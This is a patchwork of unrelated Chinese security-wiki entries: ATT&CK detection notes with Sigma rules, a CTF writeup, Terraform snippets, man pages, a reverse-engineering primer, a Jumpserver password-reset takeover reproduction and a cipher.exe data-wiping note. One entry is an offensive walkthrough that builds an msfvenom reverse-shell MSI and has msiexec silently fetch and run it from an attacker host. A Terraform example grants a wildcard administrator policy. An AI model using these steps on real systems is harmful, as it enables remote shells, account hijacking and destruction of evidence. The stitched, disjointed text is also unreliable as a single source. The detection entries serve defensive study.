量扩展名附加于此模式的方式完成。
/? 显示此帮助消息。
注意: 如果搜索成功,此工具返回错误级别 0; 如果不成功,返回 1; 如果失
败或发生错误,返回 2。
示例:
WHERE /?
WHERE myfilename1 myfile????.*
WHERE $windir:*.*
WHERE /R c:\windows *.exe *.dll *.bat
WHERE /Q ??.???
WHERE "c:\windows;c:\windows\system32:*.dll"
WHERE /F /T *.dll
```
## 检测日志
windows 安全日志
## 测试复现
```yml
C:\Users\Administrator>where -r c:\users\administrator\ *.pst
c:\Users\administrator\qax.pst
```
## 测试留痕
windows安全日志;4688进程创建
```yml
已创建新进程。
创建者主题:
安全 ID: QAX\Administrator
帐户名: Administrator
帐户域: QAX
登录 ID: 0x4463EA
目标主题:
安全 ID: NULL SID
帐户名: -
帐户域: -
登录 ID: 0x0
进程信息:
新进程 ID: 0x15e0
新进程名称: C:\Windows\System32\where.exe
令牌提升类型: %%1936
强制性标签: Mandatory Label\High Mandatory Level
创建者进程 ID: 0x12b0
创建者进程名称: C:\Windows\System32\cmd.exe
进程命令行: where -r c:\users\administrator\ *.pst
```
## 检测规则/思路
### sigma-win规则
```yml
title: 使用where命令查找本地ost、pst后缀文件
tags: T1114
status: experimental
author: 12306Bro
logsource:
product: windows
service: security
detection:
selection:
EventID: 4688 #进程创建
Processcommandline:
- '.ost' #进程信息>进程命令行,包含.ost
- '.pst' #进程信息>进程命令行,包含.pst
condition: selection
level: low
```
## 建议
监视进程和命令行参数以了解可以采取哪些措施来收集本地电子邮件文件。监视访问本地电子邮件文件的异常进程。具有内置功能的远程访问工具可以直接与Windows API交互以收集信息。也可以通过Windows系统管理工具(例如Windows Management Instrumentation和PowerShell)获取信息。
## 参考推荐
MITRE-ATT&CK-T1114
<https://attack.mitre.org/techniques/T1114/001/>
|
sec-knowleage
|
.\" auto-generated by docbook2man-spec $Revision: 1.1 $
.TH "DROP SCHEMA" "7" "2003-11-02" "SQL - Language Statements" "SQL Commands"
.SH NAME
DROP SCHEMA \- 删除一个模式
.SH SYNOPSIS
.sp
.nf
DROP SCHEMA \fIname\fR [, ...] [ CASCADE | RESTRICT ]
.sp
.fi
.SH "DESCRIPTION 描述"
.PP
\fBDROP SCHEMA\fR 从数据库中删除模式。
.PP
模式只能被它的所有者或者超级用户删除。请注意, 所有者即使没有拥有模式中任何对象也可以删除模式(以及模式中的所有对象)。
.SH "PARAMETERS 参数"
.TP
\fB\fIname\fB\fR
模式的名字。
.TP
\fBCASCADE\fR
自动删除包含在模式中的对象(表,函数,等等)。
.TP
\fBRESTRICT\fR
如果模式包含任何对象,则拒绝删除它。这个是缺省。
.SH "EXAMPLES 例子"
.PP
从数据库中删除模式 mystuff,以及它包含的所有东西:
.sp
.nf
DROP SCHEMA mystuff CASCADE;
.sp
.fi
.SH "COMPATIBILITY 兼容性"
.PP
\fBDROP SCHEMA\fR 和 SQL 标准完全兼容, 只不过标准只允许一条命令删除一个模式。
.SH "SEE ALSO 参见"
ALTER SCHEMA [\fBalter_schema\fR(7)], CREATE SCHEMA [\fBcreate_schema\fR(l)]
.SH "译者"
.B Postgresql 中文网站
.B 何伟平 <laser@pgsqldb.org>
|
sec-knowleage
|
# T1021-006-win-远程powershell会话
## 来自ATT&CK的描述
攻击者可以使用“ 有效帐户”使用Windows远程管理(WinRM)与远程系统进行交互。然后,攻击者可以以登录用户的身份执行操作。
WinRM是Windows服务和协议的名称,该协议允许用户与远程系统进行交互(例如,运行可执行文件,修改注册表,修改服务)。可以使用winrm命令或任何数量的程序(例如PowerShell)来调用它。
## 测试案例
本测试案例主要模拟powershell Enter-PSSession -ComputerName \<RemoteHost\>创建一个远程PowerShell会话。
## 检测日志
windows安全日志 OR windows powershell日志
## 测试复现

## 测试留痕
事件ID,命令行参数,子父进程等信息(对系统版本要求较高)
## 检测规则/思路
### sigma规则
```yml
title: win_远程powershell会话
description: windows server 2016
tags: T1021-006
status: experimental
author: 12306Bro
logsource:
product: windows
service: security
detection:
selection1:
EventID: 4688 #已创建新的进程。
Newprocessname: 'C:\Windows\System32\dllhost.exe' #新进程名称
Creatorprocessname: 'C:\Windows\System32\svchost.exe' #创建者进程名称
selection2:
EventID: 4688 #已创建新的进程。
Newprocessname: 'C:\Windows\System32\wsmprovhost.exe' #新进程名称
Creatorprocessname: 'C:\Windows\System32\svchost.exe' #创建者进程名称
Processcommandline: 'C:\Windows\system32\wsmprovhost.exe -Embedding' #进程命令行参数
timeframe: last 2s
condition: selection
level: medium
```
### 建议
暂无
## 参考推荐
MITRE-ATT&CK-T1021-006
<https://attack.mitre.org/techniques/T1021/006/>
winrm service
<https://www.cnblogs.com/gamewyd/p/6805595.html>
|
sec-knowleage
|
# Prime (ppc 100)
###ENG
[PL](#pl-version)
In the task we get a lot of [files](encrypted.zip) with a large number as filename and a single byte as content.
The goal of this task is to extract contents from all files which have a prime number as name.
We do this with a simple script and gmpy2.is_prime():
```python
import codecs
import os
from gmpy2 import is_prime
def main():
basedir = "/tmp/encrypted"
result = ""
for filename in os.listdir(basedir):
if is_prime(int(filename)):
with codecs.open(basedir + "/" + filename, "r") as input_file:
data = input_file.read()[:-1]
result += data
print('result', result)
main()
```
Which gives the flag: `c93c0f30299130cde942fce8ec5dd0b3012dcfa478a4ab2314ee525098fb779e2812d6731d372bae6d71e220a6`
###PL version
W zadaniu dostajemy dużo [plików](encrypted.zip) z dużą liczbą jako nazwa pliku i jednym bajtem zawartości.
Celem jest pobranie zawartości ze wszystkich plików, których nazwa jest liczbą pierwszą.
Robimy to za pomocą skryptu i gmpy2.is_prime():
```python
import codecs
import os
from gmpy2 import is_prime
def main():
basedir = "/tmp/encrypted"
result = ""
for filename in os.listdir(basedir):
if is_prime(int(filename)):
with codecs.open(basedir + "/" + filename, "r") as input_file:
data = input_file.read()[:-1]
result += data
print('result', result)
main()
```
Co daje nam flage: `c93c0f30299130cde942fce8ec5dd0b3012dcfa478a4ab2314ee525098fb779e2812d6731d372bae6d71e220a6`
|
sec-knowleage
|
# terraform
---
**Error: Error acquiring the state lock**
```
terraform force-unlock -force xxxxx-xxxx-xxx-xxxxx
```
```
ps aux | grep terraform
sudo kill -9 <process_id>
```
---
## vultr providers
### vps
- https://registry.terraform.io/providers/vultr/vultr/latest/docs/resources/instance
**main.tf**
```conf
resource "vultr_instance" "f0x" {
plan = "vc2-2c-4gb"
region = "sgp"
os_id = 477
label = "f0x"
tags = ["f0x"]
hostname = "f0x"
enable_ipv6 = false
backups = "disabled"
ddos_protection = false
activation_email = false
}
```
**outputs.tf**
```conf
output "vps_ip" {
value = "${vultr_instance.f0x.main_ip}"
description = "vps ip."
}
output "vps_os" {
value = "${vultr_instance.f0x.os}"
description = "vps os."
}
output "vps_ram" {
value = "${vultr_instance.f0x.ram}"
description = "vps ram."
}
output "vps_disk" {
value = "${vultr_instance.f0x.disk}"
description = "vps disk."
}
output "vps_allowed_bandwidth" {
value = "${vultr_instance.f0x.allowed_bandwidth}"
description = "vps allowed_bandwidth."
}
output "vps_hostname" {
value = "${vultr_instance.f0x.hostname}"
description = "vps hostname."
}
output "vps_password" {
value = nonsensitive(vultr_instance.f0x.default_password)
description = "vps password."
}
```
**version.tf**
```conf
terraform {
required_providers {
vultr = {
source = "vultr/vultr"
version = "2.11.3"
}
}
}
provider "vultr" {
# Configuration options
}
```
创建
```
terraform init
terraform apply
```
销毁
```
terraform destroy
```
---
## aliyun providers
### ecs
- https://registry.terraform.io/providers/aliyun/alicloud/latest/docs/resources/instance
**main.tf**
```conf
resource "alicloud_instance" "instance" {
security_groups = alicloud_security_group.group.*.id
instance_type = data.alicloud_instance_types.types_ds.instance_types.0.id
image_id = "ubuntu_18_04_64_20G_alibase_20190624.vhd"
instance_name = "test_instance"
vswitch_id = alicloud_vswitch.vswitch.id
system_disk_size = 20
internet_max_bandwidth_out = 100
depends_on = [
alicloud_security_group.group,
alicloud_vswitch.vswitch,
]
}
resource "alicloud_security_group" "group" {
name = "test_security_group"
vpc_id = alicloud_vpc.vpc.id
depends_on = [
alicloud_vpc.vpc
]
}
resource "alicloud_security_group_rule" "allow_all_tcp" {
type = "ingress"
ip_protocol = "tcp"
nic_type = "intranet"
policy = "accept"
port_range = "8080/8080"
priority = 1
security_group_id = alicloud_security_group.group.id
cidr_ip = "0.0.0.0/0"
depends_on = [
alicloud_security_group.group
]
}
resource "alicloud_vpc" "vpc" {
vpc_name = "test_vpc"
cidr_block = "172.16.0.0/16"
}
resource "alicloud_vswitch" "vswitch" {
vpc_id = alicloud_vpc.vpc.id
cidr_block = "172.16.0.0/24"
zone_id = "cn-beijing-h"
vswitch_name = "test_vswitch"
depends_on = [
alicloud_vpc.vpc
]
}
resource "alicloud_ram_role" "role" {
name = "test-role"
force = true
document = <<EOF
{
"Statement": [
{
"Action": "sts:AssumeRole",
"Effect": "Allow",
"Principal": {
"Service": [
"ecs.aliyuncs.com"
]
}
}
],
"Version": "1"
}
EOF
}
resource "alicloud_ram_policy" "policy" {
policy_name = "AdministratorAccess"
force = true
policy_document = <<EOF
{
"Statement": [
{
"Action": "*",
"Effect": "Allow",
"Resource": "*"
}
],
"Version": "1"
}
EOF
}
resource "alicloud_ram_role_attachment" "attach" {
role_name = alicloud_ram_role.role.name
instance_ids = alicloud_instance.instance.*.id
depends_on = [
alicloud_instance.instance
]
}
resource "alicloud_ram_role_policy_attachment" "attach" {
policy_name = alicloud_ram_policy.policy.name
policy_type = alicloud_ram_policy.policy.type
role_name = alicloud_ram_role.role.name
depends_on = [
alicloud_ram_policy.policy,
alicloud_ram_role.role
]
}
data "alicloud_instance_types" "types_ds" {
cpu_core_count = 1
memory_size = 1
}
```
**outputs.tf**
```
output "instance_ip" {
value = "${alicloud_instance.instance.public_ip}"
description = "instance_ip."
}
```
**version.tf**
```
terraform {
required_providers {
alicloud = {
source = "aliyun/alicloud"
version = "1.190.0"
}
}
}
provider "alicloud" {
profile = "cloud-tool"
region = "cn-beijing"
}
```
创建
```
terraform init
terraform apply
```
销毁
```
terraform destroy
```
### eci
- https://registry.terraform.io/providers/aliyun/alicloud/latest/docs/resources/eci_container_group
**main.tf**
```conf
resource "alicloud_eci_container_group" "example" {
container_group_name = "tf-testacc-eci-gruop"
cpu = 2.0
memory = 4.0
restart_policy = "OnFailure"
security_group_id = alicloud_security_group.group.id
vswitch_id = alicloud_vswitch.vswitch.id
auto_create_eip = true
tags = {
TF = "create"
}
containers {
image = "registry-vpc.cn-beijing.aliyuncs.com/eci_open/nginx:alpine"
name = "nginx"
working_dir = "/tmp/nginx"
image_pull_policy = "IfNotPresent"
commands = ["/bin/sh", "-c", "sleep 9999"]
volume_mounts {
mount_path = "/tmp/test"
read_only = false
name = "empty1"
}
ports {
port = 80
protocol = "TCP"
}
environment_vars {
key = "test"
value = "nginx"
}
}
depends_on = [
alicloud_security_group.group,
alicloud_vswitch.vswitch,
]
}
resource "alicloud_security_group" "group" {
name = "huocorp_terraform_goat_security_group"
vpc_id = alicloud_vpc.vpc.id
depends_on = [
alicloud_vpc.vpc
]
}
resource "alicloud_security_group_rule" "allow_all_tcp" {
type = "ingress"
ip_protocol = "tcp"
nic_type = "intranet"
policy = "accept"
port_range = "80/80"
priority = 1
security_group_id = alicloud_security_group.group.id
cidr_ip = "0.0.0.0/0"
depends_on = [
alicloud_security_group.group
]
}
resource "alicloud_vpc" "vpc" {
vpc_name = "huocorp_terraform_goat_vpc"
cidr_block = "172.16.0.0/16"
}
resource "alicloud_vswitch" "vswitch" {
vpc_id = alicloud_vpc.vpc.id
cidr_block = "172.16.0.0/24"
zone_id = "cn-beijing-h"
vswitch_name = "huocorp_terraform_goat_vswitch"
depends_on = [
alicloud_vpc.vpc
]
}
```
**outputs.tf**
```conf
output "eci_container_ip" {
value = "${alicloud_eci_container_group.example.internet_ip}"
description = "eci_container."
}
```
**version.tf**
```conf
terraform {
required_providers {
alicloud = {
source = "aliyun/alicloud"
version = "1.172.0"
}
}
}
provider "alicloud" {
profile = "cloud-tool"
region = "cn-beijing"
}
```
创建
```
terraform init
terraform apply
```
销毁
```
terraform destroy
```
---
## huaweiyun providers
### ecs
- https://registry.terraform.io/providers/huaweicloud/huaweicloud/latest/docs/resources/compute_instance
---
## aws providers
### ec2
- https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/instance
---
## 随机密码
```conf
# main.tf
provider "random" {}
resource "random_password" "password" {
length = 16
special = true
override_special = "_%@"
}
resource "aws_db_instance" "example" {
password = random_password.password.result
}
```
## json 输出
```
terraform output -json
```
## 变量
- https://lonegunmanb.github.io/introduction-terraform/3.3.%E8%BE%93%E5%85%A5%E5%8F%98%E9%87%8F.html
```conf
variable "test_ip" {
type = string
description = "test server ip"
}
resource "alicloud_instance" "instance" {
....
user_data = <<EOF
#!/bin/bash
...
sudo echo "${var.cs_ip}" > /tmp/ip.txt
....
EOF
.....
}
```
```bash
terraform apply -var="test_ip=1.14.5.14"
```
## 插件缓存
- linux
```
echo 'plugin_cache_dir = "$HOME/.terraform.d/plugin-cache"' > $HOME/.terraformrc
```
- windows
%APPDATA% 目录下 `terraform.rc` 文件
```
plugin_cache_dir = "$HOME/.terraform.d/plugin-cache"
```
## providers 镜像
- https://juejin.cn/post/7103449491524550664
terraform v0.13 或者更高的版本中提供了一个 providers mirror 命令,可以下载当前配置的 provider 到本地的目录中。然后可以通过下载的目录配置 network mirror 等。
在命令行配置文件可以定义 provider_installation 块配置来修改 terraform 默认的插件安装行为。所以可以指定为从本地/network mirror 安装初始化 provider。
在模版的目录下执行下载命令
```
terraform.exe providers mirror "."
```
下载完成后会生成类似一个如下结构的目录,这个目录结构可以直接当作本地filesystem mirror使用。如果要配置network mirror,使用此目录结构为站点目录。
```
└─registry.terraform.io
├─hashicorp
│ └─local
└─tencentcloudstack
└─tencentcloud
```
将下载的目录移动到 /tmp
编辑 ~/.terraformrc
```
provider_installation {
filesystem_mirror {
path = "/tmp/terraform/mirror"
}
}
```
此时再次 init,就会从 /tmp 去加载 providers
对于不同的 providers ,需要手动去一个个下载,然后移动到指定目录下,虽然麻烦,但是可以有效提高init的速度.
|
sec-knowleage
|
**注:**请多喝点热水或者凉白开,身体特别重要。
### Msiexec简介:
Msiexec 是 Windows Installer 的一部分。用于安装 Windows Installer 安装包(MSI),一般在运行 Microsoft Update 安装更新或安装部分软件的时候出现,占用内存比较大。并且集成于 Windows 2003,Windows 7 等。
**说明:**Msiexec.exe所在路径已被系统添加PATH环境变量中,因此,Msiexec命令可识别。
### 基于白名单Msiexec.exe配置payload:
Windows 2003 默认位置:
```bash
C:\WINDOWS\system32\msiexec.exe
C:\WINDOWS\SysWOW64\msiexec.exe
```
**攻击机:**192.168.1.4 Debian
**靶机:** 192.168.1.119 Windows 2003
### 配置攻击机msf:

### 配置payload:
```bash
msfvenom ‐p windows/x64/shell/reverse_tcp LHOST=192.168.1.4 LPORT=53 ‐ f msi > Micropoor_rev_x64_53.txt
```


### 靶机执行:
```bash
C:\Windows\System32\msiexec.exe /q /i http://192.168.1.4/Micropoor_rev\_x64_53.txt
```



> Micropoor
|
sec-knowleage
|
# 软件逆向工程简介
## 定义
> Reverse engineering, also called back engineering, is the process by which a man-made object is deconstructed to reveal its designs, architecture, or to extract knowledge from the object; ------ from [wikipedia](https://en.wikipedia.org/wiki/Reverse_engineering)
软件代码逆向主要指对软件的结构,流程,算法,代码等进行逆向拆解和分析。
## 应用领域
主要应用于软件维护,软件破解,漏洞挖掘,恶意代码分析。
## CTF竞赛中的逆向
> 涉及 Windows、Linux、Android 平台的多种编程技术,要求利用常用工具对源代码及二进制文件进行逆向分析,掌握 Android 移动应用APK文件的逆向分析,掌握加解密、内核编程、算法、反调试和代码混淆技术。
> ------ 《全国大学生信息安全竞赛参赛指南》
### 要求
- 熟悉如操作系统,汇编语言,加解密等相关知识
- 具有丰富的多种高级语言的编程经验
- 熟悉多种编译器的编译原理
- 较强的程序理解和逆向分析能力
## 常规逆向流程
1. 使用`strings/file/binwalk/IDA`等静态分析工具收集信息,并根据这些静态信息进行`google/github`搜索
2. 研究程序的保护方法,如代码混淆,保护壳及反调试等技术,并设法破除或绕过保护
3. 反汇编目标软件,快速定位到关键代码进行分析
4. 结合动态调试,验证自己的初期猜想,在分析的过程中理清程序功能
5. 针对程序功能,写出对应脚本,求解出flag
### 定位关键代码tips
1. 分析控制流
控制流可以参见IDA生成的控制流程图(CFG),沿着分支循环和函数调用,逐块地阅读反汇编代码进行分析。
2. 利用数据、代码交叉引用
比如输出的提示字符串,可以通过数据交叉引用找到对应的调用位置,进而找出关键代码。代码交叉引用比如图形界面程序获取用户输入,就可以使用对应的windowsAPI函数,我们就可以通过这些API函数调用位置找到关键代码。
### 逆向tips
1. 编码风格
每个程序员的编码风格都有所不同,熟悉开发设计模式的同学能更迅速地分析出函数模块功能
2. 集中原则
程序员开发程序时,往往习惯将功能相关的代码或是数据写在同一个地方,而在反汇编代码中也能显示出这一情况,因此在分析时可以查看关键代码附近的函数和数据。
3. 代码复用
代码复用情况非常普遍,而最大的源代码仓库Github则是最主要的来源。在分析时可以找一些特征(如字符串,代码风格等)在Github搜索,可能会发现类似的代码,并据此恢复出分析时缺失的符号信息等。
4. 七分逆向三分猜
合理的猜测往往能事半功倍,遇到可疑函数却看不清里面的逻辑,不妨根据其中的蛛丝马迹猜测其功能,并依据猜测继续向下分析,在不断的猜测验证中,或许能帮助你更加接近代码的真相。
5. 区分代码
拿到反汇编代码,必须能区分哪些代码是人为编写的,而哪些是编译器自动附加的代码。人为编写的代码中,又有哪些是库函数代码,哪些才是出题人自己写的代码,出题人的代码又经过编译器怎样的优化?我们无须花费时间在出题人以外的代码上,这很重要。如果当你分析半天还在库函数里乱转,那不仅体验极差,也没有丝毫效果。
6. 耐心
无论如何,给予足够的时间,总是能将一个程序分析地透彻。但是也不应该过早地放弃分析。相信自己肯定能在抽茧剥丝的过程中突破问题。
### 动态分析
动态分析的目的在于定位关键代码后,在程序运行的过程中,借由输出信息(寄存器,内存变化,程序输出)等来验证自己的推断或是理解程序功能
主要方法有:调试,符号执行,污点分析
### 算法和数据结构识别
- 常用算法识别
如`Tea/XTea/XXTea/IDEA/RC4/RC5/RC6/AES/DES/IDEA/MD5/SHA256/SHA1`等加密算法,大数加减乘除、最短路等传统算法
- 常用数据结构识别
如图、树、哈希表等高级数据结构在汇编代码中的识别。
### 代码混淆
比如使用`OLLVM`,`movfuscator`,`花指令`,`虚拟化`及`SMC`等工具技术对代码进行混淆,使得程序分析十分困难。
那么对应的也有反混淆技术,最主要的目的就是复原控制流。比如`模拟执行`和`符号执行`
### 保护壳
保护壳类型有许多,简单的压缩壳可以归类为如下几种
- unpack -> execute
直接将程序代码全部解压到内存中再继续执行程序代码
- unpack -> execute -> unpack -> execute ...
解压部分代码,再边解压边执行
- unpack -> [decoder | encoded code] -> decode -> execute
程序代码有过编码,在解压后再运行函数将真正的程序代码解码执行
对于脱壳也有相关的方法,比如`单步调试法`,`ESP定律`等等
### 反调试
反调试意在通过检测调试器等方法避免程序被调试分析。比如使用一些API函数如`IsDebuggerPresent`检测调试器,使用`SEH异常处理`,时间差检测等方法。也可以通过覆写调试端口、自调试等方法进行保护。
## 非常规逆向思路
非常规逆向题设计的题目范围非常之广,可以是任意架构的任意格式文件。
- lua/python/java/lua-jit/haskell/applescript/js/solidity/webassembly/etc..
- firmware/raw bin/etc..
- chip8/avr/clemency/risc-v/etc.
但是逆向工程的方法学里不惧怕这些未知的平台格式,遇到这样的非常规题,我们也有一些基本的流程可以通用
### 前期准备
- 阅读文档。快速学习平台语言的方法就是去阅读官方文档。
- 官方工具。官方提供或建议的工具必然是最合适的工具
- 教程。在逆向方面,也许有许多前辈写出了专门针对该平台语言的逆向教程,因此也可以快速吸收这其中的知识。
### 找工具
主要找`文件解析工具`、`反汇编器`、`调试器`和`反编译器`。其中`反汇编器`是必需的,`调试器`也包含有相应的反汇编功能,而对于`反编译器`则要自求多福了,得之我幸失之我命。
找工具总结起来就是:Google大法好。合理利用Google搜索语法,进行关键字搜索可以帮助你更快更好地找到合适工具。
|
sec-knowleage
|
# Jumpserver随机数种子泄露导致账户劫持漏洞(CVE-2023-42820)
Jumpserver是一个开源堡垒机系统。在其3.6.4及以下版本中,存在一处账户接管漏洞。攻击者通过第三方库[django-simple-captcha](https://github.com/mbi/django-simple-captcha)泄露的随机数种子推算出找回密码时的用户Token,最终修改用户密码。
参考链接:
- <https://github.com/jumpserver/jumpserver/security/advisories/GHSA-7prv-g565-82qp>
- <https://mp.weixin.qq.com/s/VShjaDI1McerX843YyOENw>
<!-- - <https://www.leavesongs.com/PENETRATION/jumpserver-sep-2023-multiple-vulnerabilities-go-through.html> -->
## 漏洞环境
启动环境前,修改[config.env](config.env)中`DOMAINS`的值为你的IP和端口,如`DOMAINS=your-ip:8080`。
然后执行如下命令启动一个Jumpserver 3.6.3 的服务器:
```
docker compose up -d
```
启动服务需要等待一段时间,之后访问`http://your-ip:8080`即可查看到Jumpserver的登录页面。我们使用`admin`作为账号及密码即可登录,第一次登录管理员账号需要修改密码。
## 漏洞复现
我编写了一个非常简单的半自动化脚本来复现这个漏洞。由于是半自动化,严格按照如下步骤方可正确复现。
首先,在浏览器第一个Tab中打开忘记密码页面:`http://your-ip:8080/core/auth/password/forget/previewing/`,此时页面上将有一个验证码。
- 如果验证码中包含数字10,则请刷新验证码,因为我们的脚本暂时无法处理数字10
- 如果验证码中不包含数字10,则右键菜单中将该验证码在新Tab下打开
新Tab中验证码的URL类似于`http://your-ip:8080/core/auth/captcha/image/87b2723d404657c2294abfab908975ebb9da5468/`,其中包含该验证码的key(一串sha1 hash值),也就是后面伪随机数使用的种子,记录下这个值作为**seed**。
返回第一个Tab,**刷新页面**。刷新页面的目的是,不使用包含“种子”的验证码,因为这个种子将在后续步骤中使用到。
刷新页面后正确填写用户名和验证码后提交,跳转到验证码验证页面。此时这个页面的URL类似于`http://localhost:8080/core/auth/password/forgot/?token=sceOx7yWuAH9wWcuzc0nMQmLBzEPNhkhuTfl`,其中包含一个随机的token值,记录下这个值作为**token**。
执行我们的[脚本](poc.py):
```
python poc.py -t http://localhost:8080 --email admin@mycomany.com --seed [seed] --token [token]
```
这个脚本需要传入4个参数:
- `-t` 指定目标Jumpserver服务器地址
- `--email` 指定待劫持用户的邮箱地址
- `--seed` 前面记下来的随机数种子(**seed**)
- `--token` 前面记下来的token值(**token**)
脚本执行后,将输出预测的code值:

回到浏览器中,输入该code提交,即可来到修改新密码页面,修改密码即可。
完整的复现过程请参考如下gif:

|
sec-knowleage
|
.\"Generated by db2man.xsl. Don't modify this, modify the source.
.de Sh \" Subsection
.br
.if t .Sp
.ne 5
.PP
\fB\\$1\fR
.PP
..
.de Sp \" Vertical space (when we can't use .PP)
.if t .sp .5v
.if n .sp
..
.de Ip \" List item
.br
.ie \\n(.$>=3 .ne \\$3
.el .ne 3
.IP "\\$1" \\$2
..
.TH "SMBMOUNT" 8 "" "" ""
.SH NAME
.B smbmount \- 装载一个 smbfs 文件系统
.SH "总览 SYNOPSIS"
\fBsmbmount\fR {service} {mount-point} [-o options]
.SH "描述 DESCRIPTION"
.PP
\fBsmbmount\fR 可以装载一个Linux SMB文件系统。它通常在带 "-t smbfs" 选项执行 \fBmount\fR(8) 命令时被作为\fBmount.smbfs\fR执行。当然内核必须支持smbfs文件系统。
.PP
\fBsmbmount\fR使用的选项是用逗号分隔的一串key=value字串对的列表。It is possible to send options other than those listed here, assuming that smbfs supports them. If you get mount failures, check your kernel log for errors on unknown options.
.PP
\fBsmbmount\fR is a daemon. After mounting it keeps running until the mounted smbfs is umounted. It will log things that happen when in daemon mode using the "machine name" smbmount, so typically this output will end up in \fIlog.smbmount\fR. The \fB smbmount\fR process may also be called mount.smbfs.
.RS
.Sh "注意"
.PP
\fBsmbmount\fR 调用 \fBsmbmnt\fR(8)来完成实际的装载任务。你必须确保 \fBsmbmnt\fR 位于可以找到的路径中。
.RE
.SH "选项 OPTIONS"
.TP
username=<arg>
指定联接时的用户名。如果不指定,程序会用\fBUSER\fR这个环境变量。这个选项也接受"user%password", "user/workgroup"或"user/workgroup%password"形式的参数,允许密码和工作组作为用户名的一部分同时被指定。
.TP
password=<arg>
指定SMB口令。如果不指定,将使用环境变量\fBPASSWD\fR. 如果没有指定,也没有环境变量, \fBsmbmount\fR会提示输入口令,除非使用了guest选项。
Note that passwords which contain the argument delimiter character (i.e. a comma ',') will failed to be parsed correctly on the command line. However, the same password defined in the PASSWD environment variable or a credentials file (see below) will be read correctly.
.TP
credentials=<filename>
specifies a file that contains a username and/or password\&.
The format of the file is:
.nf
username = <value>
password = <value>
.fi
This is preferred over having passwords in plaintext in a shared file, such as \fI/etc/fstab\fR. Be sure to protect any credentials file properly\&.
.TP
krb
Use kerberos (Active Directory).
.TP
netbiosname=<arg>
设定源NetBIOS主机名。默认是本机名。
.TP
uid=<arg>
设定装载的文件系统的用户标识符。可以用用户名或者UID数字两种办法来指定。
.TP
gid=<arg>
设定装载的文件系统的组标识符。可以用组名或者GID数字两种方法来指定。
.TP
port=<arg>
设定远程SMB系统的端口号。默认是139。
.TP
fmask=<arg>
设定文件掩码。这决定了本地文件系统中远程文件的权限。它不是掩码而是实际的文件权限。默认值是根据当前的umask算出来的。
.TP
dmask=<arg>
设定目录掩码。这决定了本地文件系统中远程目录的权限。它不是掩码而是实际的目录权限。默认值是根据当前的umask算出来的。
.TP
debug=<arg>
设定调试等级。对于跟踪SMB的联接问题非常有用。 建议的值是4. 如果设置得过高,会产生大量输出,可能会掩盖有用的输出。
.TP
ip=<arg>
设定目标主机或IP地址。
.TP
workgroup=<arg>
设定目的工作组。
.TP
sockopt=<arg>
设定TCP套接字的一些选项。参见\fBsmb.conf\fR(5)配置文件中的\fIsocket options\fR选项。
.TP
scope=<arg>
设定NetBIOS范围。
.TP
guest
不提示口令
.TP
ro
以只读方式装载。
.TP
rw
以读写方式装载。
.TP
iocharset=<arg>
sets the charset used by the Linux side for codepage to charset translations (NLS). Argument should be the name of a charset, like iso8859-1. (Note: only kernel 2.4.0 or later)
.TP
codepage=<arg>
sets the codepage the server uses. See the iocharset option. Example value cp850. (Note: only kernel 2.4.0 or later)
.TP
ttl=<arg>
sets how long a directory listing is cached in milliseconds (also affects visibility of file size and date changes)\&. A higher value means that changes on the server take longer to be noticed but it can give better performance on large directories, especially over long distances\&. Default is 1000ms but something like 10000ms (10 seconds) is probably more reasonable in many cases\&. (Note: only kernel 2\&.4\&.2 or later)
.SH "ENVIRONMENT VARIABLES"
.PP
The variable \fBUSER\fR may contain the username of the person using the client\&. This information is used only if the protocol level is high enough to support session-level passwords\&. The variable can be used to set both username and password by using the format username%password\&.
.PP
The variable \fBPASSWD\fR may contain the password of the person using the client\&. This information is used only if the protocol level is high enough to support session-level passwords\&.
.PP
The variable \fBPASSWD_FILE\fR may contain the pathname of a file to read the password from\&. A single line of input is read and used as the password\&.
.SH "BUGS"
.PP
Passwords and other options containing , can not be handled\&. For passwords an alternative way of passing them is in a credentials file or in the PASSWD environment\&.
.PP
The credentials file does not handle usernames or passwords with leading space\&.
.PP
One smbfs bug is important enough to mention here, even if it is a bit misplaced:
.TP 3
\(bu
Mounts sometimes stop working\&. This is usually caused by smbmount terminating\&. Since smbfs needs smbmount to reconnect when the server disconnects, the mount will eventually go dead\&. An umount/mount normally fixes this\&. At least 2 ways to trigger this bug are known\&.
.LP
.PP
Note that the typical response to a bug report is suggestion to try the latest version first\&. So please try doing that first, and always include which versions you use of relevant software when reporting bugs (minimum: samba, kernel, distribution)
.SH "SEE ALSO"
.PP
Documentation/filesystems/smbfs\&.txt in the linux kernel source tree may contain additional options and information\&.
.PP
FreeBSD also has a smbfs, but it is not related to smbmount
.PP
For Solaris, HP-UX and others you may want to look at \fBsmbsh\fR(1) or at other solutions, such as Sharity or perhaps replacing the SMB server with a NFS server\&.
.SH "作者 AUTHOR"
.PP
samba软件和相关工具最初由Andrew Tridgell创建。samba现在由Samba Team 作为开源软件来发展,类似linux内核的开发方式。
.PP
最初的samba手册页是 Karl Auer写的。
手册页源码已经转换为YODL格式(另一种很好的开源软件,可以在ftp://ftp.ice.rug.nl/pub/unix找到),由Jeremy Sllison 更新到Samba2.0 版本。
Gerald Carter 在Samba2.2中将它转化为DocBook 格式。
Alexander Bokovoy 在Samba 3.0中实现了DocBook XML4.2 格式的转换。
.SH "[中文版维护人]"
.B meaculpa <meaculpa@21cn.com>
.SH "[中文版最新更新]"
.B 2000/12/08
.SH "《中国linux论坛man手册页翻译计划》:"
.BI http://cmpp.linuxforum.net
|
sec-knowleage
|
# T1070-001-win-检测cipher.exe删除数据
## 来自ATT&CK的描述
攻击者可能试图阻止由监测软件或进程捕获到的告警,以及事件日志被收集和分析。这可能包括修改配置文件或注册表项中的监测软件的设置,以达到逃避追踪的目的。
在基于特征监测的情况下,攻击者可以阻止监测特征相关的数据被发送出去,以便于阻止安全人员进行分析。这可以有很多方式实现,例如停止负责转发的进程(splunk转发器、Filebate、rsyslog等)。
在正常的操作期间内,事件日志不太可能会被刻意清除。但是恶意攻击者可能会通过清除事件日志来尝试掩盖自己的踪迹。当事件日志被清除时,它是可疑的。发现“清除事件日志”时可能意味着有恶意攻击者利用了此项技术。
集中收集事件日志的一个好处就是使攻击者更难以掩盖他们的踪迹,事件转发允许将收集到的系统事件日志发送给多个收集器(splunk、elk等),从而实现冗余事件收集。使用冗余事件收集,可以最大限度的帮助我们发现威胁。
## 测试案例
在windows 2000以上版本都内置了一个这样的工具——cipher.exe。cipher使用方法很简单,在命令行窗口中,键入: cipher /w:盘符:/目录
其中,目录是可选的,用于卷挂接点。一般情况下,只写磁盘盘符就行了。比如清除e盘,就用“cipher /w:e”。
